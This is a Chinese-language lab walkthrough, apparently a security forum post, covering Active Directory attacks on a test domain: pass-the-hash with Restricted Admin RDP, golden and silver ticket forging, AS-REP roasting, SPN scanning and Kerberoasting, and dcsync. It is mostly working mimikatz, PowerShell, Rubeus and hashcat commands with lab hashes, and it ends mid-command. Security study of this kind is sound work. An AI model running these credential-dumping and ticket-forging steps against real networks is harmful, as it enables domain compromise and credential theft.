https://xzfile.aliyuncs.com/media/upload/picture/20201221003856-da8f041c-42e1-1.png


Computer Name:WIN-Q2JR4MURGS0

User Name : administrator

NTLM hash:08eb9761caca8f3c386962b5ad4b1991

未开启 Restricted Admin mode

Client:

IP:192.168.52.140

OS:2012 R2

User Name:administrator

⽀持 Restricted Admin mode

(1)psexec pth 连接修改注册表

⾸先获取到 B 机器本地管理员组⽤户 administrator 的 NTLM

mimikatz.exe "Log" "Privilege::Debug" "Sekurlsa::logonpasswor
ds" "exit" 

获取到的 hash 如下

08eb9761caca8f3c386962b5ad4b1991 

pass: 

笔者在这⾥遇到⼀个问题，所测试的机器为 2012 R2。在

administrator 账户上增加了 DD 账户，并添加管理员。想着登录

DD 账号之后缓存下 hash，然后登录 administrator 再抓 hash。但

是登录 administrator 之后⼀直抓取不到 DD 的 hash，想着以前⾃

⼰搞得机器都有很多 hash 啊。

⽽且不符合登陆过后内存中⽆ hash 的思路，这个时候突然想到了

⼀点。打过 KB2871997 补丁的机器或者 2012 及以上机器 (内置此

补丁不需要额外打)，注销后会删除凭证。且我实验的机器只有重

启、关机、注销三个按钮。 

https://xzfile.aliyuncs.com/media/upload/picture/20201221003906-e0244ea0-42e1-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3906-e0244ea0-42e1-1.png)

因此⼀直在 administrator 上抓不到 DD 的 hash！这点虽然不是很

重要，但是这也困扰了我所以记录⼀下!

然后注⼊到 Client 内存中

privilege::debug 
kerberos::purge 
sekurlsa::pth /user:administrator /domain:. /ntlm:08eb9761cac
a8f3c386962b5ad4b1991 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3911-e3495cba-42e1-1.png)

随后使⽤ psexec 连接 B 机器

PsExec.exe -accepteula \\192.168.52.159 cmd.exe 

https://xzfile.aliyuncs.com/media/upload/picture/20201221003906-e0244ea0-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003911-e3495cba-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003917-e6e00766-42e1-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3917-e6e00766-42e1-1.png)

在命令⾏中开启注册表必要修改项

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v Disabl
eRestrictedAdmin /t REG_DWORD /d 00000000 /f 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3925-ebc65ca8-42e1-1.png)

随后在 Client 上 mimikatz 内使⽤命令登录对⽅机器，在这⾥⽆需

账号密码

sekurlsa::pth /user:administrator /domain:. /ntlm:08eb9761cac
a8f3c386962b5ad4b1991 "/run:mstsc.exe /restrictedadmin" 

https://xzfile.aliyuncs.com/media/upload/picture/20201221003917-e6e00766-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003925-ebc65ca8-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003931-ef7964a8-42e1-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3931-ef7964a8-42e1-1.png)

pass: 

如果单独使⽤ mstsc.exe，好像⽆法指定具体哪个 hash 登录！

在这篇⽂章中说明了 PTH 登录 3389 所带来⽆法缓存 Hash 的问题

http://blog.sycsec.com/2018/10/02/What-is-Pass-the-Hash-and-t
he-Limitations-of-mitigation-methods/#%E8%83%BD%E5%A4%9F%E7%A
6%81%E6%AD%A2%E7%94%A8%E6%88%B7%E7%BD%91%E7%BB%9C%E7%99%BB%E
5%BD%95

当我们使⽤ pth 登录 3389 进去之后，使⽤ mimikatz 抓 hash。会

发现⽆法抓取到！ 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3938-f39ab7c6-42e1-1.png)

这是因为这是 “⾸先管理员模式” 的特性，接下来描述⼀下为什么会

出现这种情况！

1. 远程桌⾯默认使⽤⽆约束委派⽤户凭证，以达到完全在远程服务

器上代表⽤户的⽬的。当我们连接到远程桌⾯服务器上，可以使⽤

dir 命令链接其他的 smb 服务器并使⽤我们登录 3389 的凭证认

证，这是因为客户端进⾏远程桌⾯连接的时候会发送⽤户的明⽂密

码，这个密码可以⽤于计算 HTLM Hash 并缓存在远程桌⾯服务器

上！

2. 受限管理员模式下，远程桌⾯客户端会⾸先使⽤客户端机器上已

缓存的 NTLM Hash 进⾏认证，不需要⽤户输⼊⽤户名和密码，也

就不会把明⽂密码委派到⽬标；即便缓存的 hash 认证失败，⽤户

必须输⼊明⽂密码 t 也不会直接发送明⽂密码 ⽽是计算出

0x05 此模式下带来的问题

https://xzfile.aliyuncs.com/media/upload/picture/20201221003931-ef7964a8-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221003938-f39ab7c6-42e1-1.png


必须输⼊明⽂密码，mstsc 也不会直接发送明⽂密码，⽽是计算出

所需的值后再发送。这种模式下，登录到远程桌⾯服务器上并使⽤

dir 命令像其他 smb 服务器认证是，将使⽤空⽤户 (⽤户名) 登录，

⼏乎都会登录失败！

可以对⽐看出，客户端直接明⽂ 3389 登录，可能会被 mimikatz

从内存中抓取到；⽽受限管理员模式则能避免发送明⽂，服务端内

存也就不会缓存⽤户凭证!

参考链接：

https://www.secpulse.com/archives/72190.html 
https://www.freebuf.com/articles/system/220473.html 
http://blog.sycsec.com/2018/10/02/What-is-Pass-the-Hash-and-t
he-Limitations-of-mitigation-methods/#%E8%83%BD%E5%A4%9F%E7%A
6%81%E6%AD%A2%E7%94%A8%E6%88%B7%E7%BD%91%E7%BB%9C%E7%99%BB%E
5%BD%95

在 kerberos 认证笔记中有这么⼀段话

当我们有了 trbtgt 的密钥之后，我们可以解密 TGT，也可以加密

TGT。因为我们⽤了 trbtgt NTLM Hash！下⾯还有这样⼀段话

这⾥是关键，TGS 获取的 Login Session key 是通过解开 TGT 获

取的！因此当我们得到 trbtgt hash 之后，我们就可以伪造任⼀⽤

户了！

⻩⾦票据

0x00 漏洞成因

在 TGS_REQ 部分，Client 将发送⼤致三种数据。两种加密

的，⼀种不加密的。机密的分别为 TGT、Login Session

key 加密的时间戳数据 B，不加密的如要访问的服务名称

当 TGS 收到请求后，将会检查⾃身是否存在客户端所请求

的服务。如果服务存在，通过 krbtgt ⽤户的 NTLM hash

解密 TGT 获得 Login Session key，使⽤ Login Session

key 去解密数据 B，通过数据 B。

0x01 利⽤场景



1. 拿到域内所有账户 Hash，包括 krbtgt 账户，某些原因导致域控

权限掉了，域管改密码了等 

2. ⼿上还有⼀台机器，⽆所谓是否在域中！ 

3. 域管理员没有更改域控 krbtgt 账户的密码 

4. 通常当作后⻔使⽤！

伪造⻩⾦凭据需要具备下⾯条件：

krbtgt ⽤户的 hash(就意味着你已经有域控制器权限了)

域名称

域的 SID 值

要伪造的⽤户名

192.168.60.1 hacke.testlab win2012 

192.168.60.55 ⾮域内机器 win2008

使⽤命令获取 hash、SID

mimikatz.exe "Log" "Privilege::Debug" "lsadump::lsa /patch" 
"exit" 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3950-fa665ef2-42e1-1.png)

0x01 利⽤场景

0x02 利⽤条件

0x03 实验环境

https://xzfile.aliyuncs.com/media/upload/picture/20201221003950-fa665ef2-42e1-1.png


krbtgt NTLM hash

RID  : 000001f6 (502) 
User : krbtgt 
LM   : 
NTLM : 30c84f309c52d2d6d05561fc3f904647 

域的 SID 值

S-1-5-21-3502871099-3777307143-1257297015 

域名称

hacke.testlab 

在这⾥我们要伪造

Administrator 

准备就绪之后就可以在我们的机器上使⽤了，当前机器权限可以是

普通权限。⽆需管理员即可 PTT！

在伪造之前，最好清空⼀下当前的票据

klist purge 

使⽤ mimikatz

kerberos::golden /admin:Administrator /domain:hacke.testlab /
sid:S-1-5-21-3502871099-3777307143-1257297015 /krbtgt:30c84f3
09c52d2d6d05561fc3f904647 /ticket:ticket.kirbi 

https://xzfile.aliyuncs.com/media/upload/picture/20201221003958-ff6c96fa-42e1-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

3958-ff6c96fa-42e1-1.png)

在成功之后就相当于 IPC 连接成功之后的攻击⽅法了！

但是这⾥不同的⼯具需要的参数不同，机器名和 IP 都可以试试看

域控机器名

WIN-Q2JR4MURGS0 

WMIEXEC.VBS

cscript wmiexec.vbs /shell 192.168.60.1 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4006-0450cac4-42e2-1.png)

psexec

PsExec.exe \\192.168.60.1 cmd.exe 

https://xzfile.aliyuncs.com/media/upload/picture/20201221003958-ff6c96fa-42e1-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004006-0450cac4-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004013-084192ee-42e2-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4013-084192ee-42e2-1.png)

more

这个漏洞是需要额外去配置的！ 需要我们在⽤户账号设置 "Do not

require Kerberos preauthentication(不需要 kerberos 预身份验

证)"。 

AS-REP Roasting 攻击

0x00 漏洞成因

https://xzfile.aliyuncs.com/media/upload/picture/20201221004013-084192ee-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004022-0dacbe98-42e2-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4022-0dacbe98-42e2-1.png)

在 AS_REP 阶段，会返回由我们请求的域账户 hash 加密某个值后

返回。然后我们通过⾃身的 ntlm hash 去解密得到数据。在这⾥设

置不要求预身份验证后，我们可以在 AS_REQ 阶段，填写想要伪造

请求的⽤户名，随后会⽤伪造请求的⽤户名 NTLM Hash 加密返回

给我们。随后我们就可以拿去爆破了，不过前提就是需要伪造请求

的⽤户名设置了 "不要求 Kerberos 预身份认证"

⾮域机器，⽆法通过 LDAP 来发起⽤户名的查询。所以即使能够与

kerberos 通信也没法执⾏某些脚本。

因此实验在这⾥分为域内和域外两种！

⼯具 Rebeus

使⽤命令直接获取域内所有开启 "不要求 Kerberos 域身份认证" 的

⽤户，并且返回了他们的加密 hash

Rubeus.exe asreproast > log.txt 

0x01 实验环境

域内

https://xzfile.aliyuncs.com/media/upload/picture/20201221004022-0dacbe98-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004036-15ef028c-42e2-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4036-15ef028c-42e2-1.png)

Empire 中的 Powerview.ps1

在这⾥使⽤ bypass 命令直接执⾏输出到 txt 中！

powershell.exe -exec bypass -Command "& {Import-Module C:\Use
rs\test.HACKE\Desktop\powerview.ps1;Get-DomainUser -PreauthNo
tRequired}" > log.txt 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4115-2d98ecf4-42e2-1.png)

获取⽤户名后，需要获取他们的加密 hash。在这⾥需要使⽤另外⼀

个模块

powershell.exe -exec bypass -Command "& {Import-Module C:\Use
rs\test.HACKE\Desktop\ASREPRoast.ps1;Get-ASREPHash -UserName 
test -Domain hacke.testlab | Out-File -Encoding ASCII hash.tx
t}" 

https://xzfile.aliyuncs.com/media/upload/picture/20201221004036-15ef028c-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004115-2d98ecf4-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004118-2f28e72c-42e2-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4118-2f28e72c-42e2-1.png)

在这⾥只能通过枚举域⽤户名操作来获取域⽤户名，拿到后使⽤

Get-ASREPHash 来获取信息！

powershell.exe -exec bypass -Command "& {Import-Module ASREPR
oast.ps1;Get-ASREPHash -UserName test -Domain hacke.testlab -
Server 192.168.60.1 | Out-File -Encoding ASCII hash.txt}" 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4130-3657be24-42e2-1.png)

⼯具下载链接

https://github.com/gold1029/ASREPRoast 

当我们拿到 hash 之后，就需要去破解了！

如果想要放到 hashcat ⾥破解，需要在 kerberos 后⾯加上

$23 

(https://xzfile aliyuncs com/media/upload/picture/2020122100

域外

密码破解

https://xzfile.aliyuncs.com/media/upload/picture/20201221004118-2f28e72c-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004130-3657be24-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004136-39b64cf2-42e2-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4136-39b64cf2-42e2-1.png)

hashcat -m 18200 hash.txt pass.txt --force 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4141-3cb9f4e4-42e2-1.png)

参考链接

http://app.myzaker.com/news/article.php?pk=5d50bec88e9f0929f7
4cd3da 
https://my.oschina.net/u/4583000/blog/4392161 
https://www.anquanke.com/post/id/161781 

SPN 全程 Service Principal Names，是服务器上所运⾏服务的唯

⼀标识，每个使⽤ kerberos 认证的服务都需要⼀个 SPN。 

SPN 分为两种，⼀种注册在 AD 的机器账户下 (Computers) 下，

另⼀种注册在域⽤户账户 (Users) 下 

当⼀个服务的权限为 Local System 或 Network Service，则 SPN

SPN 扫描

0x00 SPN 简介

https://xzfile.aliyuncs.com/media/upload/picture/20201221004136-39b64cf2-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004141-3cb9f4e4-42e2-1.png


注册在机器账户 (Computers) 下 

当⼀个服务的权限为⼀个域⽤户，则 SPN 注册在域⽤户账户

(Users) 下

SPN 扫描能让我们更快的发现在域内运⾏的服务，并且很难被发现

serviceclass/host:port/servicename 

说明：

serviceclass 可以理解为服务的名称，常⻅的有

www,ldap,SMTP,DNS,HOST 等

host 有两种形式，FQDN 和 NetBIOS 名，例如

server01.test.com 和 server01

如果服务运⾏在默认端⼝上，则端⼝号 (port) 可以省略

对域控制器发起 LDAP 查询，这是正常 kerberos 票据⾏为的⼀部

分，因此查询 SPN 的操作很难被检测

(1) 使⽤ SetSPN

win7 和 windows server2008 2012 ⾃带的功能

查看当前域内的所有 SPN:

setspn.exe -q */*

查看具体域内的所有 SPN:

setspn.exe -T hacke.testlab -q */* 

输出结果实例：

0x01 SPN 扫描作⽤

0x02 SPN 格式

0x03 查询 SPN



正在检查域 DC=hacke,DC=testlab 
CN=WIN-Q2JR4MURGS0,OU=Domain Controllers,DC=hacke,DC=testlab 
    Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/WIN-Q2JR4MURGS
0.hacke.testlab 
    ldap/WIN-Q2JR4MURGS0.hacke.testlab/ForestDnsZones.hacke.t
estlab 
    ldap/WIN-Q2JR4MURGS0.hacke.testlab/DomainDnsZones.hacke.t
estlab 
    DNS/WIN-Q2JR4MURGS0.hacke.testlab 
    GC/WIN-Q2JR4MURGS0.hacke.testlab/hacke.testlab 
    RestrictedKrbHost/WIN-Q2JR4MURGS0.hacke.testlab 
    RestrictedKrbHost/WIN-Q2JR4MURGS0 
    RPC/b4794e1c-617b-43eb-9b3a-d20cf4a130dd._msdcs.hacke.tes
tlab 
    HOST/WIN-Q2JR4MURGS0/HACKE 
    HOST/WIN-Q2JR4MURGS0.hacke.testlab/HACKE 
    HOST/WIN-Q2JR4MURGS0 
    HOST/WIN-Q2JR4MURGS0.hacke.testlab 
    HOST/WIN-Q2JR4MURGS0.hacke.testlab/hacke.testlab 
    E3514235-4B06-11D1-AB04-00C04FC2DCD2/b4794e1c-617b-43eb-9
b3a-d20cf4a130dd/hacke.testlab 
    ldap/WIN-Q2JR4MURGS0/HACKE 
    ldap/b4794e1c-617b-43eb-9b3a-d20cf4a130dd._msdcs.hacke.te
stlab 
    ldap/WIN-Q2JR4MURGS0.hacke.testlab/HACKE 
    ldap/WIN-Q2JR4MURGS0 
    ldap/WIN-Q2JR4MURGS0.hacke.testlab 
    ldap/WIN-Q2JR4MURGS0.hacke.testlab/hacke.testlab 
CN=krbtgt,CN=Users,DC=hacke,DC=testlab 
    kadmin/changepw 
CN=WIN7,CN=Computers,DC=hacke,DC=testlab 
    RestrictedKrbHost/WIN7 
    HOST/WIN7 
    RestrictedKrbHost/WIN7.hacke.testlab 
    HOST/WIN7.hacke.testlab 
CN=WIN8,CN=Computers,DC=hacke,DC=testlab 
    RestrictedKrbHost/WIN8 
    HOST/WIN8 
    RestrictedKrbHost/WIN8.hacke.testlab 
    HOST/WIN8.hacke.testlab 
发现存在 SPN! 

以 CN 开头的每⼀⾏代表⼀个账户，下⾯的信息是与之关联的 SPN 

对于上⾯的输出数据，机器账户 (Computers) 为：

CN WIN Q2JR4MURGS0 OU D i C t ll DC h k DC t tl b



CN=WIN-Q2JR4MURGS0,OU=Domain Controllers,DC=hacke,DC=testlab 
CN=WIN7,CN=Computers,DC=hacke,DC=testlab 
CN=WIN8,CN=Computers,DC=hacke,DC=testlab 

域⽤户账号 (Users) 为：

CN=krbtgt,CN=Users,DC=hacke,DC=testlab 

在我的默认环境下，SPN 下只有⼀个域⽤户。

setspn.exe -U -A VNC/WIN7.hacke.testlab test 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4156-45d5c044-42e2-1.png)

1.kerberos 认证过程

这种攻击⽅法主要利⽤了 TGT_REP 阶段使⽤对⽅ NTLM Hash 返

回的加密数据，通过碰撞加密数据破解⽤户密码。

2.Windows 系统通过 SPN 查询获得服务和服务实例帐户的对应关

系

但是 TGT 阶段⼀开始需要对⽅是否是否有这个服务，那这个服务怎

么发现呢? 

这时候可以使⽤ SPN 扫描，因为在域中如果服务使⽤的是

kerberos 认证。那么就需要在对应域⽤户下⾯注册 SPN，因此通过

SPN 扫描可以发现⽤户对应的服务！

3. 域内的任何⽤户都可以向域内的任何服务请求 TGS

4. 需要域⽤户登录才能查询，因为 SPN 查询部分使⽤了 LDAP 协

议

0x04 增加 SPN 域⽤户

Kerberosast 攻击

0x00 攻击原理

https://xzfile.aliyuncs.com/media/upload/picture/20201221004156-45d5c044-42e2-1.png


议

1. 查询 SPN，找到有价值的 SPN，需要满⾜以下条件：

2. 该 SPN 注册在域⽤户帐户 (Users) 下

3. 域⽤户账户的权限很⾼

4. 请求 TGS

5. 导出 TGS

6. 暴⼒破解

账户低权限时注册的 SPN，后来当账户权限提⾼时。如下⼯具也检

测不出来，同理⾼权限注册后降权，⼯具也检测不出来！

(1) 使⽤ powershell 模块 Active Direvtory

当服务器上存在此模块时 (域控⼀般安装)

powershell.exe -exec bypass -Command "& {Import-Module .\ctiv
eDirectory;get-aduser -filter {AdminCount -eq 1 -and (service
PrincipalName -ne 0)} -prop * |select name,whencreated,pwdlas
tset,lastlogon}" 

0x01 ⾼效率⽅法

0x02 ⼿⼯攻击实现

1. 检测⾼权限账户

⼯具只能检测出 SPN 服务注册时⽤户的⾼低权限，若后来

权限提⾼或者降低皆⽆法检测到。

https://xzfile.aliyuncs.com/media/upload/picture/20201221004210-4e13ea56-42e2-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4210-4e13ea56-42e2-1.png)

当服务其上没有 AD 模块时，加载 dll ⽂件来执⾏。 win8 ⽆法执⾏

powershell.exe -exec bypass -Command "& {Import-Module .\Micr
osoft.ActiveDirectory.Management.dll;get-aduser -filter {Admi
nCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |sele
ct name,whencreated,pwdlastset,lastlogon}" 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4224-5626b8ea-42e2-1.png)

DLL 下载链接

https://codeload.github.com/3gstudent/test/zip/master 
https://github.com/samratashok/ADModule 

(2) 使⽤ PowerView

powershell.exe -exec bypass -Command "& {Import-Module .\Powe
rView.ps1; Get-NetUser -spn -AdminCount|Select name,whencreat
ed,pwdlastset,lastlogon }" 

https://xzfile.aliyuncs.com/media/upload/picture/20201221004210-4e13ea56-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004224-5626b8ea-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004238-5ee4731e-42e2-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4238-5ee4731e-42e2-1.png)

下载链接

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Reco
n/PowerView.ps1 

(3) 使⽤ kerberoast ⼯具

powershell

powershell.exe -exec bypass -Command "& {Import-Module .\GetU
serSPNs.ps1;  }" 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4245-62acfe1c-42e2-1.png)

下载链接：

https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.p
s1 

vbs

cscript GetUserSPNs.vbs 

https://xzfile.aliyuncs.com/media/upload/picture/20201221004238-5ee4731e-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004245-62acfe1c-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004250-660bbf6c-42e2-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4250-660bbf6c-42e2-1.png)

下载链接：

https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.v
bs 

在域机器 win7 上执⾏

(1) 请求指定 TGS 

在 powershell 中使⽤如下命令获取票据 (2008 不⾏)

powershell.exe -exec bypass -Command "& {$SPNName = 'VNC/WIN
7.hacke.testlab'; Add-Type -AssemblyNAme System.IdentityMode
l; New-Object System.IdentityModel.Tokens.KerberosRequestorSe
curityToken -ArgumentList $SPNName }" 
 
$SPNName = 'VNC/WIN7.hacke.testlab' 
Add-Type -AssemblyNAme System.IdentityModel 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecur
ityToken -ArgumentList $SPNName 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4258-6ac2406c-42e2-1.png)  

2. 请求⾼权限账户的票据

https://xzfile.aliyuncs.com/media/upload/picture/20201221004250-660bbf6c-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004258-6ac2406c-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004302-6d3e05a6-42e2-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4302-6d3e05a6-42e2-1.png)

(2) 请求所有 TGS

执⾏完 (1) 第⼀个后第⼆个才能执⾏ 

需要 powershell 下执⾏

powershell.exe -exec bypass -Command "& {Add-Type -AssemblyNa
me System.IdentityModel  }" 
 
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { Ne
w-Object System.IdentityModel.Tokens.KerberosRequestorSecurit
yToken -ArgumentList $_.Context.PostContext[0].Trim() } 

可以看到获取到了所有的票据 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4311-72af43b0-42e2-1.png)

使⽤ mimikatz.exe

kerberos::list /export 

3. 导出票据

https://xzfile.aliyuncs.com/media/upload/picture/20201221004302-6d3e05a6-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004311-72af43b0-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004319-777b8c28-42e2-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4319-777b8c28-42e2-1.png)

在这⾥之所以能够进⾏破解，是因为我们后来加⼊的那些服务加密

算法。默认是 RC4 的，⽽不是原有服务那种 AES-256-CTS-

HMAC-SHA1-96 ！ 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4325-7a8d84fc-42e2-1.png)

参考链接：

https://mp.weixin.qq.com/s/88GqLe63YIBbTkQH9EIXcg 

在这⾥破解⽅式我收集了两种

(1) 使⽤ tgsrepcrack.py

pip install requests-kerberos,kerberos-sspi 

import kerberos 改成 import kerberos_sspi as kerberos

4. 破解票据

https://xzfile.aliyuncs.com/media/upload/picture/20201221004319-777b8c28-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004325-7a8d84fc-42e2-1.png


但是这⾥的模块我没安装成功就没尝试这个操作

下载链接

https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.p
y 

(2) 使⽤ kirbi2john.py 转格式

这⾥和 (1) 中使⽤的格式不同，因此可以使⽤ hashcat john ⼯具来

进⾏爆破票据 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4333-7fcf7c5e-42e2-1.png)

在这⾥进⾏转换

python kirbi2john.py *.kirbi > johnkirb.txt 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4350-89d1a8b2-42e2-1.png)

在这⾥笔者 pip 包没有安装成功，因此没有截图。这两种失败没

事，接下来的⾃动化导出直接替代了上⾯的所有！

在这⾥使⽤ Empire 中的 Invoke-Kerberoast.ps1 脚本，导出

hashcat 格式的密钥。且它会⾃动选择所有的 user Hash！

0x03 全⾃动化导出

https://xzfile.aliyuncs.com/media/upload/picture/20201221004333-7fcf7c5e-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004350-89d1a8b2-42e2-1.png


powershell.exe -exec bypass -Command "& {Import-Module .\Invo
ke-Kerberoast.ps1;Invoke-kerberoast -outputformat hashcat |fl 
> hash.txt}"

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4357-8dd232f6-42e2-1.png)

将上述的数据中提取出 hashcat 可爆破的部分，放⼊ hash.txt 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4403-9198ad34-42e2-1.png)

在这⾥使⽤ hashcat 进⾏破解

hashcat -m 13100 hash.txt password.list -o found.txt --force 

0x04 暴⼒破解

https://xzfile.aliyuncs.com/media/upload/picture/20201221004357-8dd232f6-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004403-9198ad34-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004411-96368172-42e2-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4411-96368172-42e2-1.png)

当我们获取到有权注册 SPN 的域账号时，或者拿到了域控。我们就

可以为指定的域⽤户添加⼀个 SPN。这样可以随时获得该⽤户的

TGS，从⽽经过破解后可以获得明⽂⼝令。

如为添加管理员 Administrator 添加 VNC/WIN-

Q2JR4MURGS0.hacke.testlab

setspn.exe -U -A VNC/WIN-Q2JR4MURGS0.hacke.testlab Administra
tor 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4418-9a53d39a-42e2-1.png)  

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4422-9cb42946-42e2-1.png)

0x05 Kerberoasting 后⻔利⽤

⽩银票据

https://xzfile.aliyuncs.com/media/upload/picture/20201221004411-96368172-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004418-9a53d39a-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004422-9cb42946-42e2-1.png


攻击者在使⽤ Silver Ticket 对内⽹进⾏攻击时，需要掌握以下信

息：

域名

域 SID

⽬标服务器的 FQDN

可利⽤的服务

服务账号的 NTLM Hash

需要伪造的⽤户名

实验 1：使⽤ Silver Ticket 伪造 CIFS 服务权限

CIFS 服务通常⽤于 Windows 主机之间的⽂件共享。

在本实验中，⾸先使⽤当前域⽤户权限，查询对域控制器的共享⽬

录的访问权限。 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4433-a30b8dd4-42e2-1.png)

在域控制器中输⼊如下命令，使⽤ mimikatz 获取服务账号的

NTLM Hash

使⽤ log 参数以便复制散列值

mimikatz log "privilege::debug" "sekurlsa::logonpasswords" 

机器账号的 NTLM Hash

0x00 利⽤条件

0x01 实验环境

https://xzfile.aliyuncs.com/media/upload/picture/20201221004433-a30b8dd4-42e2-1.png


f2abe578cdedfbb0dc5bf4249145c8dd 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4439-a6bb482a-42e2-1.png)

注意，这⾥使⽤的是共享服务账号，所以使⽤的是 WIN-

Q2JR4MURGS0$ ⽽⾮ administrator

我们继续获取其他信息

域名 (注⼊时需要写成⼩写) 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4443-a98d7bf4-42e2-1.png)

域 SID

whoami /all >123.txt  //注意要去掉-500 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4449-acf57d0a-42e2-1.png)

https://xzfile.aliyuncs.com/media/upload/picture/20201221004439-a6bb482a-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004443-a98d7bf4-42e2-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221004449-acf57d0a-42e2-1.png


WIN-Q2JR4MURGS0$ 
domain:hacke.testlab 
SID:S-1-5-21-3502871099-3777307143-1257297015 

然后，在命令⾏环境下输⼊如下命令，清空当前系统中的票据和域

成员的票据，防⽌其他票据⼲扰。

klist purge 
kerberos::purge 

使⽤ mimikatz ⽣成伪造的 Silver Ticket ，在之前不能访问域控制

器共享⽬录的机器输⼊如下命令:

kerberos::golden /domain:域名 /sid:SID /target:域全称 /service:
要访问的服务 /rc4:NTLM /user:username /ptt 
 
kerberos::golden /domain:HACKE.TESTLAB /sid:S-1-5-21-35028710
99-3777307143-1257297015 /target:WIN-Q2JR4MURGS0.hacke.testla
b /service:cifs /rc4:f2abe578cdedfbb0dc5bf4249145c8dd /user:t
est /ptt 
 
或者 
mimikatz "kerberos::golden /domain:HACKE.TESTLAB /sid:S-1-5-2
1-3502871099-3777307143-1257297015 /target:WIN-Q2JR4MURGS0.ha
cke.testlab /service:cifs /rc4:f2abe578cdedfbb0dc5bf4249145c8
dd /user:test /ptt" 

实验 2 访问域控上的 "LDAP" 服务

在本实验中，使⽤ dcsync 从域控制器中获取指定⽤户的账号和密

码散列，如 krbtgt

输⼊如下命令，测试以当前权限是否可以使⽤ dcsync 与域控制器

进⾏同步

lsadump::dcsync /dc:WIN-Q2JR4MURGS0.hacke.testlab /domain:hac
ke.testlab /user:krbtgt 

https://xzfile.aliyuncs.com/media/upload/picture/20201221004458-b2157f88-42e2-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122100

4458-b2157f88-42e2-1.png)

向域控制器获取 krbtgt 的密码散列值失败，说明以当前权限不能进

⾏ dcsync 操作。

这时候可以直接修改上⾯的命令，将服务修改成 ldap 即可！

kerberos::golden /domain:HACKE.TESTLAB /sid:S-1-5-21-35028710
